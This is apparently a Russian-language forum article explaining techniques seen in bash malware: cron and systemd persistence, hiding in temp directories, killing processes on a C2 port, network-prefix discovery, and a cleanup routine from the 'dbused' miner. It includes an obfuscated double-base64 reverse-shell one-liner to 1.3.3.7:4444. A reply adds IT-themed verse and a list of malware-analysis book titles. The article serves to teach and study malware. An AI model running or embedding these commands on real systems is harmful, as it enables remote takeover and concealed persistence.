Статья Как пишут вредоносные программы на bash

Всем привет,сегодня мы вновь коснёмся темы вирусов на bash, но в этот раз пройдёмся по теории. В этой статье я планирую обозреть частые приёмы/утилиты/конструкции, используемые при создании вирусов на Bash.

bin-bash.jpg


Утилиты

cron – Вирусы используют cron в качестве менеджера автозапуска, т.к. он по своей сути является планировщиком задач и при проверке системы, возможно, cron не будет проверен.

Chattr – эта утилита используется для блокировки файлов и упрощения жизни вирусу.

wget – если вы читали мою предыдущую статью по этой тематике, то вы знаете, что wget’ом очень удобно скачивать необходимые файлы.

Ulimit – если у вируса есть функционал майнера, он скорее всего должен увеличить количество возможных одновременно запущенных процессов на одного пользователя, это делается именно этой командой.

Mktemp - программа, предназначенная для создания временных файлов, но с аргументом -d создаёт временную папку, в которую преспокойно можно упрятать вирус.

Конструкции

netstat -antp | grep ':<номер порта>' | awk '{print $7}' | sed -e "s/\/.*//g" | xargs kill -9
Одна из очевиднейших нужд почти любого вируса – соединение с каким-либо управляющим сервером. Приведённая выше команда позволяет почистить все программы, которые занимают порт, необходимый для функционирования вируса.
Осуществляется вызов команды netstat с параметром -antp (-a: вывести всю информацию; -n: отображать ip-адрес вместо хостнейма; -t: отображать только tcp-соединения; -p: показывать id процесса.), вывод отправляется в grep для фильтрации по номеру порта, далее текст обрабатывается утилитой awk (вывести седьмой столбец (id процесса)) и sed (удаляет всё лишнее, оствляя только цифры), после чего работу заканчивает kill, закрывающий все процессы, ведь аргумент “-9” даёт ему неограниченные возможности.

random=$(seq 0 255 | sort -R | head -n1)
Необычный способ получения случайного значения. Судя по диапазону это должно было применяться для генерации случайного ip-адреса.
Команда начинается с объявления переменной рандом, значинем которой является вывод пайплайна, в котором комада seq создаёт числа 0-255 подряд, sort -R сортирует их в случайном порядке, после чего команда head -n1 забирает первое значение.

Bash:
if [ -s /usr/bin/ifconfig ];
then
range=$(ifconfig | grep "BROADCAST\|inet" | grep -oP 'inet\s+\K\d{1,3}\.\d{1,3}' | grep -v 127 | grep -v inet6 |grep -v 255 | head -n1)
else
range=$(ip a | grep "BROADCAST\|inet" | grep -oP 'inet\s+\K\d{1,3}\.\d{1,3}' | grep -v 127 | grep -v inet6 |grep -v 255 | head -n1)
fi

Эта конструкция применяется для того, чтобы выяснить префикс сети.
Построчно:
  1. Если файл /usr/bin/ifconfig существует и не является пустым (проверка на наличие утилиты ifconfig в системе)
  2. Тогда
  3. Переменная range равна (вызов ifconfig, сортировка по словам “BROADCAST или inet”, сортировка по совпадениям в строке и по регулярному выражению Perl, инвертирование вывода по inet6, инвертирование по 255 и извлечение первого значения)
  4. Иначе
  5. *То же, что и на строке 4, только на этот раз с командой ip a*
  6. Закрытие блока if


Bash:
if [ -a "/tmp/dbused" ]
then
if [ -w "/tmp/dbused" ] && [ ! -d "/tmp/dbused" ]
then
if [ -x "$(command -v md5sum)" ]
then
sum=$(md5sum /tmp/dbused | awk '{ print $1 }')
echo $sum
case $sum in
dc3d2e17df6cef8df41ce8b0eba99291 | 101ce170dafe1d352680ce0934bfb37e)
echo "x86_64 OK"
;;
*)
echo "x86_64 wrong"
rm -rf /usr/local/lib/libkk.so
echo "" > /etc/ld.so.preload
pkill -f wc.conf
pkill -f susss
sleep 4
;;
esac
fi
echo "P OK"
else
DIR=$(mktemp -d)/tmp
mkdir $DIR
echo "T DIR $DIR"
fi
else
if [ -d "/tmp" ]
then
DIR="/tmp"
fi
echo "P NOT EXISTS"
fi
А вот эта конструкция применяется, по видимому, для очистки от старой версии вируса dbused (также известен, как “x86_64”). Давайте также разберём её по строкам:
  1. Если существует файл /tmp/dbused
  2. Тогда
  3. Если есть права на запись в файл /tmp/based и это не директория
  4. Тогда
  5. Проверка, установлена ли программа md5sum и можно ли её запустить
  6. Тогда
  7. Переменная sum равна мд5 хеш-сумме файла /tmp/dbused. Для её получеия вывод команды md5sum провели через awk, где оставили только первую часть вывода
  8. Вывод переменной sum
  9. В случае, если sum равна одному из двух вариантов
  10. Вывести ‘x86_64 ok’
  11. Закрытие блока конструкции case
  12. Открытие блока default
  13. Вывести ‘x86_64 wrong’
  14. Удалить рекурсивно /usr/local/lib/libkk.so
  15. записать “” в файл /etc/ld.so.preload (очистить файл)
  16. Завершение процесса wc.conf
  17. Завершение процесса susss
  18. Ожидание 4 секунд
  19. Закрытие блока
  20. Закрытие конструкции case
  21. Закрытие if
  22. Вывод ‘P OK’
  23. Иначе
  24. Переменная DIR равна выводу команды mktemp -d и поддиректории ./tmp
  25. Создание поддиректории /tmp в только что созданном tmp
  26. Вывод ‘T DIR переменная DIR’
  27. Закрытие блока if
  28. Иначе
  29. Если /tmp это директория
  30. Тогда
  31. Переменная DIR равна /tmp
  32. Закрытие блока if
  33. Вывод ‘P NOT EXISTS’
  34. Закрытие блока if


Bash:
echo "echo $(echo 'bash -i >& /dev/tcp/1.3.3.7/4444 0>&1' | base64 | base64)|ba''se''6''4 -''d|ba''se''64 -''d|b''a''s''h" | sed 's/ /${IFS}/g'

Эта конструкция будет удостоена отдельного внимания, т.к. она, как я понял даёт контроль над системой за одну строчку. Спасибо, @Ondrik8 . Всё, что я могу сказать об этой команде, это то, что она принимает приходящие команды с файла tcp соединения и проводит их через base64. Дважды! Зачем? Честно говоря, мне нужна помощь)

Приёмы

Некоторые из рассмотренных мной отчётов содержали информацию о вирусах, которые скачивались, запускались и сразу же удалялись. Суть в том, что Linux не запрещает удалять файл, который в данный момент исполняется, т.к. копия сохраняется в кэш и продолжает выполняться. Это делается для усложнения обнаружения вируса.

Очевидный приём закрепления в системе, который я использовал в своей предыдущей статье – systemd. Вирус просто создаёт или скачивает юнит, кидает его в соответствующую папку и добавляет в автозапуск.

Ещё один способ спрятаться мы увидели в одном из сегодняших примеров. Вирус создавал временную директорию и прятался в ней. Достаточно эффективно, как мне кажется, хотя при должном понимании команд linux, можно узнать файлы, с которыми работает какой-либо процесс и просто снести файлы, но об этом как-нибудь потом.

Чаще всего вирусы под linux пишут не на bash. Он может использоваться как лоадер, остальная же часть вируса пишется на другом языке программирования. В основном это Python, Perl и Go.



Что ж, на данный момент это всё, что мне удалось найти по поводу вирусов на bash. Возможно это когда-то преобразутся в cheat sheet по bash-вирусам, а на данный момент это скорее заметка, нежели статья.

Вирусы на чистом bash – явление очень редкое, а потому материала по этому поводу не много. Если у кого-то есть свои/где-то найденные вирусы на чистом bash – пишите мне, разберём, если есть разборы подобных – также пишите.
 
Братья, сестры, здравы будьте!

Линукс на вирусы проверить не забудьте.

elf viruses pdf
unix viruses pdf
bash viruses pdf
linux viruses pdf
linux malware pdf

It's black or white
Nothing in the middle
It's dark or light
No shades of grey
Well, it’s wrong or right
Can't stand in the middle
It's a black or white decision today

Colourful illusion
Slipping from my hands
Miscast in confusion
Byte, help me understand
Where I'm supposed to be
All through the day
Into the night
The rest of my life
Byte by byte
Byte by byte
Willing unto Windows
Linux to extremes
Touch and go attraction
Yet this is where it seems
That I was meant to be
All through the day
Into the night
The rest of my life
Byte by byte
Byte by byte

К байту байт
Сказал айтишник
И завёл другой айпишник

Bash на bash вирус дашь
Ты играл в Boulder Dash
Лабиринт проходил
Выживал со всех сил

Если вирус на Лине
Не лечи его извне
Ты ядро его лечи
Файл систему изучи

Файл систему изучи
Может днём или в ночи
Получи ты все ключи
Выключенное включи

В Виндовс архивация
В Линукс каталогизация
Вот такая айтишная
Импровизация

Будет ночь будет день
Будет свет будет тень
Будет бит будет байт
Будет полный инсайт

Здравствуй брат
Привет ребята
Как живёте
Как зарплата
Если первым ставил Линь
Накати на него Вынь
Если первой ставил Вынь
Накати на неё Линь
Планку выше ты подвинь
Всё есть асм, есть Янь и Инь

Взаимодействие ноля и единицы
Также как ассемблера и Си
В жизни многое ведь может что случится
Господи, помилуй и спаси
Чистый Си в мир неси
Байтик в стек отнеси
Биты в байт принеси
Иже еси на небеси

Метафизика не дважды два четыре
Оказался если ты в айтишном мире
Если эти данные принять
Можно необъятное объять

Высокий ум безумию сосед
И твердой грани между ними нет
Попробовав погуглить на обед
В айтишной кухне свой оставил след

Знание систем счисления
Помогает в финансовом начислении
Имейте об этом представление
И испытывайте удовлетворение

Откажись от логики субъективно
Начни мыслить позитивно

Субъективно от логики откажись
Специалистом классным окажись

Одиночество награда
Только это нам и надо
В нужном месте окажись
И не жалуйся на жизнь

Учись
Смотри на закат
Пытайся развиваться
Всё само приходит к тому
Кто начинает заниматься

Секреты покорения эльфов pdf
Learning Linux Binary Analysis pdf
Binary Analysis for Linux and IoT Malware pdf
Вирусы в UNIX, или Гибель «Титаника» II pdf
Computer viruses: from theory to applications pdf
The WiT virus: A virus built on the ViT ELF virus pdf
Automated dynamic malware analysis of ELF-files pdf
Записки исследователя компьютерных вирусов pdf
Grab gifts from the genizah, reading every last page! pdf
Bagheera: an Advanced Polymorphic and Infection Engine for Linux pdf
Tool Interface Standard (TIS) Executable and Linking Format (ELF) Specification pdf
 
Последнее редактирование:
  • Нравится
Реакции: dieZel
Мы в соцсетях:

Обучение наступательной кибербезопасности в игровой форме. Начать игру!